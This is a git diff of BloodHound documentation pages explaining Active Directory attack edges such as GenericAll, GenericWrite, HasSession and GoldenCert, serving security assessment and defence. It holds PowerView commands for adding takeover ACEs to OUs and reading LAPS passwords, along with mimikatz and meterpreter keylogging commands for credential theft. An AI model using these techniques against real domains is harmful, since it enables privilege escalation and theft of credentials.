description: "The edge indicates that a certificate template includes an issuance policy as a certificate extension."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -12,7 +15,7 @@ An attacker may perform the ADCS ESC13 abuse which relies on an issuance policy
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/force-change-password.mdx b/docs/resources/edges/force-change-password.mdx
index dbd7119e..ec2f648a 100644
--- a/docs/resources/edges/force-change-password.mdx
+++ b/docs/resources/edges/force-change-password.mdx
@@ -3,7 +3,9 @@ title: ForceChangePassword
description: "This edge indicates that the principal can reset the password of the target user without knowing the current password of that user."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
To see an example of this edge being abused, see this clip from Derbycon 2017:
@@ -54,4 +56,4 @@ Traversable: **Yes**
* [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
* [https://www.youtube.com/watch?v=z8thoG7gPd0](https://www.youtube.com/watch?v=z8thoG7gPd0)
* [https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4724](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4724)
-* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
\ No newline at end of file
+* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
diff --git a/docs/resources/edges/generic-all.mdx b/docs/resources/edges/generic-all.mdx
index dbd80210..ee34d10a 100644
--- a/docs/resources/edges/generic-all.mdx
+++ b/docs/resources/edges/generic-all.mdx
@@ -3,48 +3,48 @@ title: GenericAll
description: This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import GpoAbuseTools from '/snippets/edges/gpo-abuse-tools.mdx';
+
+
## Abuse Info
### With GenericAll Over a Group
-Full control of a group allows you to directly modify group membership of the group. For full abuse info in that scenario, see the Abuse Info section under the AddMembers edge.
+Full control of a group allows you to directly modify group membership of the group. For full abuse info in that scenario, see the Abuse Info section under the [AddMember](/resources/edges/add-member) edge.
### With GenericAll Over a User
-You can reset user passwords with full control over user objects. For full abuse info about this attack, see the information under the ForceChangePassword edge.
+You can reset user passwords with full control over user objects. For full abuse info about this attack, see the information under the [ForceChangePassword](/resources/edges/force-change-password) edge.
-You can write to the "msds-KeyCredentialLink" attribute on a user. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the AddKeyCredentialLink edge.
+You can write to the `msDS-KeyCredentialLink` attribute on a user. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the [AddKeyCredentialLink](/resources/edges/add-key-credential-link) edge.
-Alternatively, you can write to the "servicePrincipalNames" attribute and perform a targeted kerberoasting attack. See the abuse section under the WriteSPN edge for more information.
+Alternatively, you can write to the `servicePrincipalNames` attribute and perform a targeted kerberoasting attack. See the abuse section under the [WriteSPN](/resources/edges/write-spn) edge for more information.
### With GenericAll Over a Computer
-You may read the LAPS password of the computer object. See more information under the ReadLAPSPassword edge.
+You may read the LAPS password of the computer object. See more information under the [ReadLAPSPassword](/resources/edges/read-laps-password) edge.
-You can write to the "msds-KeyCredentialLink" attribute on a computer. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the computer using Kerberos PKINIT. See more information under the AddKeyCredentialLink edge.
+You can write to the `msDS-KeyCredentialLink` attribute on a computer. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the computer using Kerberos PKINIT. See more information under the [AddKeyCredentialLink](/resources/edges/add-key-credential-link) edge.
-Alternatively, Full control of a computer object can be used to perform a Resource-Based Constrained Delegation attack. See more information under the AllowedToAct edge.
+Alternatively, Full control of a computer object can be used to perform a Resource-Based Constrained Delegation attack. See more information under the [AllowedToAct](/resources/edges/allowed-to-act) edge.
### With GenericAll Over a GPO
-With full control of a GPO, you may make modifications to that GPO, which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy.
-
-Refer to [A Red Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179) for details about the abuse technique, and check out the following tools for practical exploitation:
+With full control of a [GPO](/resources/nodes/gpo), you may make modifications to that GPO, which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy.
- - **Windows**: [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
- - **Linux**: [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
+
### With GenericAll Over an OU
-With full control of an OU, you may add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step:
+With full control of an [OU](/resources/nodes/ou), you may add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step:
#### Generic Descendant Object Takeover
-The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. Again, this can be done using PowerView. This time we will use the New-ADObjectAccessControlEntry, which gives us more control over the ACE we add to the OU.
+The simplest and most straight forward way to abuse control of the [OU](/resources/nodes/ou) is to apply a GenericAll ACE on the OU that will inherit down to all object types. Again, this can be done using PowerView. This time we will use the New-ADObjectAccessControlEntry, which gives us more control over the ACE we add to the OU.
-First, we need to reference the OU by its ObjectGUID, not its name. You can find the ObjectGUID for the OU in the BloodHound GUI by clicking the OU, then inspecting the _objectid_ value
+First, we need to reference the [OU](/resources/nodes/ou) by its `objectGUID`, not its name. You can find the `objectGUID` for the OU in the BloodHound GUI by clicking the OU, then inspecting the `objectid` value
Next, we will fetch the GUID for all objects. This should be '00000000-0000-0000-0000-000000000000':
```json
@@ -55,7 +55,7 @@ Then we will construct our ACE. This command will create an ACE granting the "JK
```json
ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid
```
-Finally, we will apply this ACE to our target OU:
+Finally, we will apply this ACE to our target [OU](/resources/nodes/ou):
```json
$OU = Get-DomainOU -Raw (OU GUID)
$DsEntry = $OU.GetDirectoryEntry()
@@ -67,7 +67,7 @@ Now, the "JKOHLER" user will have full control of all descendant objects of each
#### Targeted Descendant Object Takeover
-If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to which kinds of descendant objects. You could, for example, grant a user "ForceChangePassword" privilege against all user objects, or grant a security group the ability to read every GMSA password under a certain OU. Below is an example taken from PowerView's help text on how to grant the "ITADMIN" user the ability to read the LAPS password from all computer objects in the "Workstations" OU:
+If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to which kinds of descendant objects. You could, for example, grant a user [ForceChangePassword](/resources/edges/force-change-password) privilege against all user objects, or grant a security group the ability to read every GMSA password under a certain [OU](/resources/nodes/ou). Below is an example taken from PowerView's help text on how to grant the "ITADMIN" user the ability to read the LAPS password from all computer objects in the "Workstations" OU:
```json
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
@@ -81,7 +81,7 @@ $dsEntry.PsBase.CommitChanges()
```
#### Target User or Computer Protected by Disabled ACL Inheritance (OU)
-Users and computers with ACL inheritance disabled (directly or through a parent OU) are not vulnerable to the previously described ACL-based attacks. However, they can still be compromised through a GPO-based attack.
+Users and computers with ACL inheritance disabled (directly or through a parent [OU](/resources/nodes/ou)) are not vulnerable to the previously described ACL-based attacks. However, they can still be compromised through a [GPO](/resources/nodes/gpo)-based attack.
See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
@@ -95,37 +95,37 @@ Full control of a domain object (the head object of the Default Naming Context)
With full control of a domain node, you may add a new ACE on the domain that will inherit down to all the objects with ACL inheritance enabled in the domain.
-See the sections "Generic Descendant Object Takeover" and "Targeted Descendant Object Takeover" under With GenericAll Over an OU.
+See the sections "Generic Descendant Object Takeover" and "Targeted Descendant Object Takeover" under With GenericAll Over an [OU](/resources/nodes/ou).
#### Target User or Computer Protected by Disabled ACL Inheritance (Domain)
-Users and computers with ACL inheritance disabled (directly or through a parent OU) are not vulnerable to the previously described ACL-based attacks. However, they can still be compromised through a GPO-based attack.
+Users and computers with ACL inheritance disabled (directly or through a parent [OU](/resources/nodes/ou)) are not vulnerable to the previously described ACL-based attacks. However, they can still be compromised through a [GPO](/resources/nodes/gpo)-based attack.
See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
### With GenericAll Over a CertTemplate
-With GenericAll permission over a certificate template, you may be able to perform an ESC4 attack by modifying the template's attributes. BloodHound will in that case create an ADCSESC4 edge from the principal to the forest domain node.
+With GenericAll permission over a certificate template, you may be able to perform an ESC4 attack by modifying the template's attributes. BloodHound will in that case create an [ADCSESC4](/resources/edges/adcs-esc4) edge from the principal to the forest domain node.
### With GenericAll Over an EnterpriseCA
-With GenericAll permission over an enterprise CA, you can publish certificate templates to the enterprise CA by adding the CN name of the template in the enterprise CA object's certificateTemplates attribute. This action may enable you to perform an ADCS domain escalation.
+With GenericAll permission over an enterprise CA, you can publish certificate templates to the enterprise CA by adding the CN name of the template in the enterprise CA object's `certificateTemplates` attribute. This action may enable you to perform an ADCS domain escalation.
### With GenericAll Over a RootCA
-With GenericAll permission over a root CA, you can make a rouge certificate trusted as a root CA in the AD forest by adding the certificate in the root CA object's cACertificate attribute. This action may enable you to perform an ADCS domain escalation.
+With GenericAll permission over a root CA, you can make a rouge certificate trusted as a root CA in the AD forest by adding the certificate in the root CA object's `cACertificate` attribute. This action may enable you to perform an ADCS domain escalation.
### With GenericAll Over a NTAuthStore
-With GenericAll permission over a NTAuth store, you can make an enterprise CA certificate trusted for NT (domain) authentication the AD forest by adding the certificate in the root CA object's cACertificate attribute. This action may enable you to perform an ADCS domain escalation. This action may enable you to perform an ADCS domain escalation.
+With GenericAll permission over a NTAuth store, you can make an enterprise CA certificate trusted for NT (domain) authentication the AD forest by adding the certificate in the root CA object's `cACertificate` attribute. This action may enable you to perform an ADCS domain escalation. This action may enable you to perform an ADCS domain escalation.
### With GenericAll Over an IssuancePolicy
-With GenericAll permission over an issuance policy object, you create a OID group link to a targeted group by adding the groups distinguishedName in the msDS-OIDToGroupLink attribute of the issuance policy object. This action may enable you to gain membership of the group through an ADCS ESC13 attack.
+With GenericAll permission over an issuance policy object, you create a OID group link to a targeted group by adding the groups `distinguishedName` in the `msDS-OIDToGroupLink` attribute of the issuance policy object. This action may enable you to gain membership of the group through an ADCS ESC13 attack.
## Opsec Considerations
-This will depend on the actual attack performed. See the particular opsec considerations sections for the ForceChangePassword, AddMembers, and GenericAll edges for more info.
+This will depend on the actual attack performed. See the particular opsec considerations sections for the [ForceChangePassword](/resources/edges/force-change-password), [AddMember](/resources/edges/add-member), and [GenericAll](/resources/edges/generic-all) edges for more info.
## Edge Schema
@@ -146,3 +146,4 @@ Traversable: **Yes**
* [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
* [https://github.com/Kevin-Robertson/Powermad#new-machineaccount](https://github.com/Kevin-Robertson/Powermad#new-machineaccount)
* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
+* [https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
diff --git a/docs/resources/edges/generic-write.mdx b/docs/resources/edges/generic-write.mdx
index 4b66715a..c03daa30 100644
--- a/docs/resources/edges/generic-write.mdx
+++ b/docs/resources/edges/generic-write.mdx
@@ -3,63 +3,64 @@ title: GenericWrite
description: Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "servicePrincipalNames" for a user.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import GpoAbuseTools from '/snippets/edges/gpo-abuse-tools.mdx';
+
+
## Abuse Info
**Users**
-With GenericWrite over a user, you can write to the "msds-KeyCredentialLink" attribute. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the AddKeyCredentialLink edge.
+With GenericWrite over a user, you can write to the `msDS-KeyCredentialLink` attribute. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the [AddKeyCredentialLink](/resources/edges/add-key-credential-link) edge.
-Alternatively, you can write to the "servicePrincipalNames" attribute and perform a targeted kerberoasting attack. See the abuse section under the WriteSPN edge for more information.
+Alternatively, you can write to the `servicePrincipalNames` attribute and perform a targeted kerberoasting attack. See the abuse section under the [WriteSPN](/resources/edges/write-spn) edge for more information.
**Groups**
-With GenericWrite over a group, add yourself or another principal you control to the group. See the abuse info under the AddMembers edge for more information.
+With GenericWrite over a group, add yourself or another principal you control to the group. See the abuse info under the [AddMember](/resources/edges/add-member) edge for more information.
**Computers**
-With GenericWrite over a computer, you can write to the "msds-KeyCredentialLink" attribute. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the AddKeyCredentialLink edge.
+With GenericWrite over a computer, you can write to the `msDS-KeyCredentialLink` attribute. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT. See more information under the [AddKeyCredentialLink](/resources/edges/add-key-credential-link) edge.
-Alternatively, you can perform a resource-based constrained delegation attack against the computer. See the AllowedToAct edge abuse info for more information about that attack.
+Alternatively, you can perform a resource-based constrained delegation attack against the computer. See the [AllowedToAct](/resources/edges/allowed-to-act) edge abuse info for more information about that attack.
-**GPO**
+**[GPO](/resources/nodes/gpo)**
-With GenericWrite on a GPO, you may make modifications to that GPO, which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write-up on this abuse.
+With GenericWrite on a [GPO](/resources/nodes/gpo), you may make modifications to that GPO, which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write-up on this abuse.
-Refer to [A Red Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179) for details about the abuse technique, and check out the following tools for practical exploitation:
- - **Windows**: [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
- - **Linux**: [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
+
-This edge can be a false positive in rare scenarios. If you have GenericWrite on the GPO with 'This object only' (no inheritance) and no other permissions in the ACL, it is not possible to add or modify settings of the GPO. The GPO's settings are stored in SYSVOL under a folder for the given GPO. Therefore, you need write access to child objects of this folder or create child objects permission. The security descriptor of the GPO is reflected on the folder, meaning permissions to write child items on the GPO are required.
+This edge can be a false positive in rare scenarios. If you have GenericWrite on the [GPO](/resources/nodes/gpo) with 'This object only' (no inheritance) and no other permissions in the ACL, it is not possible to add or modify settings of the GPO. The GPO's settings are stored in SYSVOL under a folder for the given GPO. Therefore, you need write access to child objects of this folder or create child objects permission. The security descriptor of the GPO is reflected on the folder, meaning permissions to write child items on the GPO are required.
-**OU**
+**[OU](/resources/nodes/ou)**
-You can compromise child users and computers of the OU by abusing write access to the gPLink attribute of the OU. See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
+You can compromise child users and computers of the [OU](/resources/nodes/ou) by abusing write access to the `gPLink` attribute of the OU. See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
**Domain**
-You can compromise users and computers of the domain by abusing write access to the gPLink attribute of the domain. See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
+You can compromise users and computers of the domain by abusing write access to the `gPLink` attribute of the domain. See the [WriteGPLink](/resources/edges/write-gp-link) edge documentation for details.
-**CertTemplate**
+**[CertTemplate](/resources/nodes/cert-template)**
-With GenericWrite permission over a certificate template, you may be able to perform an ESC4 attack by modifying the template's attributes. BloodHound will in that case create an ADCSESC4 edge from the principal to the forest domain node.
+With GenericWrite permission over a certificate template, you may be able to perform an ESC4 attack by modifying the template's attributes. BloodHound will in that case create an [ADCSESC4](/resources/edges/adcs-esc4) edge from the principal to the forest domain node.
-**EnterpriseCA**
+**[EnterpriseCA](/resources/nodes/enterprise-ca)**
-With GenericWrite permission over an enterprise CA, you can publish certificate templates to the enterprise CA by adding the CN name of the template in the enterprise CA object's certificateTemplates attribute. This action may enable you to perform an ADCS domain escalation.
+With GenericWrite permission over an enterprise CA, you can publish certificate templates to the enterprise CA by adding the CN name of the template in the enterprise CA object's `certificateTemplates` attribute. This action may enable you to perform an ADCS domain escalation.
-**RootCA**
+**[RootCA](/resources/nodes/root-ca)**
-With GenericWrite permission over a root CA, you can make a rouge certificate trusted as a root CA in the AD forest by adding the certificate in the root CA object's cACertificate attribute. This action may enable you to perform an ADCS domain escalation.
+With GenericWrite permission over a root CA, you can make a rouge certificate trusted as a root CA in the AD forest by adding the certificate in the root CA object's `cACertificate` attribute. This action may enable you to perform an ADCS domain escalation.
-**NTAuthStore**
+**[NTAuthStore](/resources/nodes/nt-auth-store)**
-With GenericWrite permission over an NTAuth store, you can make an enterprise CA certificate trusted for NT (domain) authentication the AD forest by adding the certificate in the root CA object's cACertificate attribute. This action may enable you to perform an ADCS domain escalation.
+With GenericWrite permission over an NTAuth store, you can make an enterprise CA certificate trusted for NT (domain) authentication the AD forest by adding the certificate in the root CA object's `cACertificate` attribute. This action may enable you to perform an ADCS domain escalation.
-**IssuancePolicy**
+**[IssuancePolicy](/resources/nodes/issuance-policy)**
-With GenericWrite permission over an issuance policy object, you create a OID group link to a targeted group by adding the groups distinguishedName in the msDS-OIDToGroupLink attribute of the issuance policy object. This action may enable you to gain membership of the group through an ADCS ESC13 attack.
+With GenericWrite permission over an issuance policy object, you create a OID group link to a targeted group by adding the groups `distinguishedName` in the `msDS-OIDToGroupLink` attribute of the issuance policy object. This action may enable you to gain membership of the group through an ADCS ESC13 attack.
## Opsec Considerations
@@ -76,4 +77,4 @@ Traversable: **Yes**
* [https://www.youtube.com/watch?v=z8thoG7gPd0](https://www.youtube.com/watch?v=z8thoG7gPd0)
* [https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/](https://specterops.io/blog/2017/05/15/bloodhound-1-3-the-acl-attack-path-update/)
-
+* [https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
diff --git a/docs/resources/edges/get-changes-all.mdx b/docs/resources/edges/get-changes-all.mdx
index 644b6efb..01185e7b 100644
--- a/docs/resources/edges/get-changes-all.mdx
+++ b/docs/resources/edges/get-changes-all.mdx
@@ -3,7 +3,9 @@ title: GetChangesAll
description: The principal is granted the GetChangesAll right on the domain.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/get-changes-in-filtered-set.mdx b/docs/resources/edges/get-changes-in-filtered-set.mdx
index 1fb28466..7781801b 100644
--- a/docs/resources/edges/get-changes-in-filtered-set.mdx
+++ b/docs/resources/edges/get-changes-in-filtered-set.mdx
@@ -3,7 +3,9 @@ title: GetChangesInFilteredSet
description: The principal is allowed to synchronize (DCSync) the Filtered Attribute Set (FAS), which are the attributes not replicated to RODCs.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/get-changes.mdx b/docs/resources/edges/get-changes.mdx
index 9178bc2a..587ab672 100644
--- a/docs/resources/edges/get-changes.mdx
+++ b/docs/resources/edges/get-changes.mdx
@@ -2,7 +2,10 @@
title: GetChanges
description: "The principal is granted the GetChanges right on the domain."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/golden-cert.mdx b/docs/resources/edges/golden-cert.mdx
index a9ea918a..92b2b970 100644
--- a/docs/resources/edges/golden-cert.mdx
+++ b/docs/resources/edges/golden-cert.mdx
@@ -3,7 +3,10 @@ title: GoldenCert
description: The victim principal has a certificate private key that can be abused to sign "golden" certificates for authentication of any enabled principal in the AD forest of the domain.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
The victim principal hosts the enrollment service of an enterprise CA, which implies it has the private key of the enterprise CA's certificate. This private key allows an attacker to sign certificates for authentication as any enabled principal in the AD forest of the domain, as the enterprise CA is trusted for NT authentication and chain up to a root CA.
@@ -58,7 +61,7 @@ Request a TGT for the targeted principal using the certificate against a given D
```
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/gp-link.mdx b/docs/resources/edges/gp-link.mdx
index 11501f6e..0c8c0771 100644
--- a/docs/resources/edges/gp-link.mdx
+++ b/docs/resources/edges/gp-link.mdx
@@ -3,22 +3,23 @@ title: GPLink
description: A linked GPO applies its settings to objects in the linked container.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import GpoAbuseTools from '/snippets/edges/gpo-abuse-tools.mdx';
+
-The GPLink relationship connects a Group Policy Object (GPO) to an AD domain or organizational unit (OU) it is linked to.
-The GPO's settings apply to AD accounts (users and computers) within that domain or OU.
+The GPLink relationship connects a Group Policy Object ([GPO](/resources/nodes/gpo)) to an AD domain or organizational unit ([OU](/resources/nodes/ou)) it is linked to.
-The Enforced property on the edge indicates whether the GPO link is enforced, meaning it still applies if an OU has blocked GPO inheritance.
+The [GPO](/resources/nodes/gpo)'s settings apply to AD accounts (users and computers) within that domain or [OU](/resources/nodes/ou).
+
+The Enforced property on the edge indicates whether the [GPO](/resources/nodes/gpo) link is enforced, meaning it still applies if an [OU](/resources/nodes/ou) has blocked GPO inheritance.
## Abuse Info
-Control over the GPO can be abused to compromise the AD accounts the GPO applies to by modifying the GPO policy settings.
+Control over the [GPO](/resources/nodes/gpo) can be abused to compromise the AD accounts the GPO applies to by modifying the GPO policy settings.
-Refer to [A Red Teamer's Guide to GPOs and OUs](https://wald0.com/?p=179) for details about the abuse technique, and check out the following tools for practical exploitation:
- - **Windows**: [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)
- - **Linux**: [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
+
## Opsec Considerations
diff --git a/docs/resources/edges/has-session.mdx b/docs/resources/edges/has-session.mdx
index ecfd4544..7767792b 100644
--- a/docs/resources/edges/has-session.mdx
+++ b/docs/resources/edges/has-session.mdx
@@ -3,7 +3,9 @@ title: HasSession
description: When a user authenticates to a computer, they often leave credentials exposed on the system, which can be retrieved through LSASS injection, token manipulation or theft, or injecting into a user’s process.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
Any user that is an administrator to the system has the capability to retrieve the credential material from memory if it still exists.
@@ -19,7 +21,7 @@ When a user has a session on the computer, you may be able to obtain credentials
Once you have established a Cobalt Strike Beacon, Empire agent, or other implant on the target, you can use mimikatz to dump credentials of the user that has a session on the computer. While running in a high integrity process with SeDebugPrivilege, execute one or more of mimikatz’s credential gathering techniques (e.g.: sekurlsa::wdigest, sekurlsa::logonpasswords, etc.), then parse or investigate the output to find clear-text credentials for other users logged onto the system.
-You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter’s “keyscan\_start” command to start keylogging a user, then “keyscan\_dump” to return the captured keystrokes. Or, you may use PowerSploit’s Invoke-ClipboardMonitor to periodically gather the contents of the user’s clipboard.
+You may also gather credentials when a user types them or copies them to their clipboard! Several keylogging capabilities exist, several agents and toolsets have them built-in. For instance, you may use meterpreter’s `keyscan_start` command to start keylogging a user, then `keyscan_dump` to return the captured keystrokes. Or, you may use PowerSploit’s Invoke-ClipboardMonitor to periodically gather the contents of the user’s clipboard.
### Token Impersonation
@@ -48,4 +50,3 @@ Traversable: **Yes**
* [https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1)
* [https://attack.mitre.org/techniques/T1134/](https://attack.mitre.org/techniques/T1134/)
-
diff --git a/docs/resources/edges/has-sid-history.mdx b/docs/resources/edges/has-sid-history.mdx
index 3aa08a79..b225f6a2 100644
--- a/docs/resources/edges/has-sid-history.mdx
+++ b/docs/resources/edges/has-sid-history.mdx
@@ -3,13 +3,15 @@ title: HasSIDHistory
description: The given source principal has, in its SIDHistory attribute, the SID for the target principal.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
When a Kerberos ticket is created for source principal, it will include the SID for the target principal, and therefore grant the source principal the same privileges and permissions as the target principal.
## Abuse Info
-No special actions are needed to abuse this, as the Kerberos tickets created will have all SIDs in the object’s SID history attribute added to them; however, if traversing a domain trust boundary, ensure that SID filtering is not enforced, as SID filtering will ignore any SIDs in the SID history portion of a Kerberos ticket.
+No special actions are needed to abuse this, as the Kerberos tickets created will have all SIDs in the object's `sIDHistory` attribute added to them; however, if traversing a domain trust boundary, ensure that SID filtering is not enforced, as SID filtering will ignore any SIDs in the SID history portion of a Kerberos ticket.
By default, SID filtering is not enabled for all domain trust types.
@@ -31,4 +33,3 @@ Traversable: **Yes**
* [https://adsecurity.org/?tag=sidhistory](https://adsecurity.org/?tag=sidhistory)
* [https://attack.mitre.org/techniques/T1178/](https://attack.mitre.org/techniques/T1178/)
* [https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/](https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/)
-
diff --git a/docs/resources/edges/has-trust-keys.mdx b/docs/resources/edges/has-trust-keys.mdx
index d2b828ac..b0219465 100644
--- a/docs/resources/edges/has-trust-keys.mdx
+++ b/docs/resources/edges/has-trust-keys.mdx
@@ -3,7 +3,9 @@ title: HasTrustKeys
description: The relationship's source node is a domain which has the trust keys for the end node trust account.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
The trust account exists because the source domain has an outbound trust to the domain of the trust account.
diff --git a/docs/resources/edges/hosts-ca-service.mdx b/docs/resources/edges/hosts-ca-service.mdx
index 0efddf48..93ba7c71 100644
--- a/docs/resources/edges/hosts-ca-service.mdx
+++ b/docs/resources/edges/hosts-ca-service.mdx
@@ -3,15 +3,18 @@ title: HostsCAService
description: The Enterprise Certification Authority node is the enrollment service LDAP object for CA hosted on the computer node.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
-An attacker may perform several attacks that rely on this relationship. This relationship alone is not enough to escalate rights or impersonate other principals. The enterprise CA must chain up to a root CA of the AD forest and it must be trusted for NT authentication in the AD forest for an escalation to be possible. If both conditions are met, BloodHound will generate a GoldenCert edge from the computer node to the domain node. Check if there is an outbound GoldenCert edge from the computer node.
+An attacker may perform several attacks that rely on this relationship. This relationship alone is not enough to escalate rights or impersonate other principals. The enterprise CA must chain up to a root CA of the AD forest and it must be trusted for NT authentication in the AD forest for an escalation to be possible. If both conditions are met, BloodHound will generate a [GoldenCert](/resources/edges/golden-cert) edge from the computer node to the domain node. Check if there is an outbound GoldenCert edge from the computer node.
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/issued-signed-by.mdx b/docs/resources/edges/issued-signed-by.mdx
index f2ea436f..5698d4b2 100644
--- a/docs/resources/edges/issued-signed-by.mdx
+++ b/docs/resources/edges/issued-signed-by.mdx
@@ -3,7 +3,10 @@ title: IssuedSignedBy
description: When Windows assesses the validity and trustworthiness of a certificate it verifies the certificate chain up to a trusted root certificate. The IssuedSignedBy edge represents a link within the certificate chain.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -11,7 +14,7 @@ An attacker may perform several attacks that rely on the certificate chain, such
## Opsec Considerations
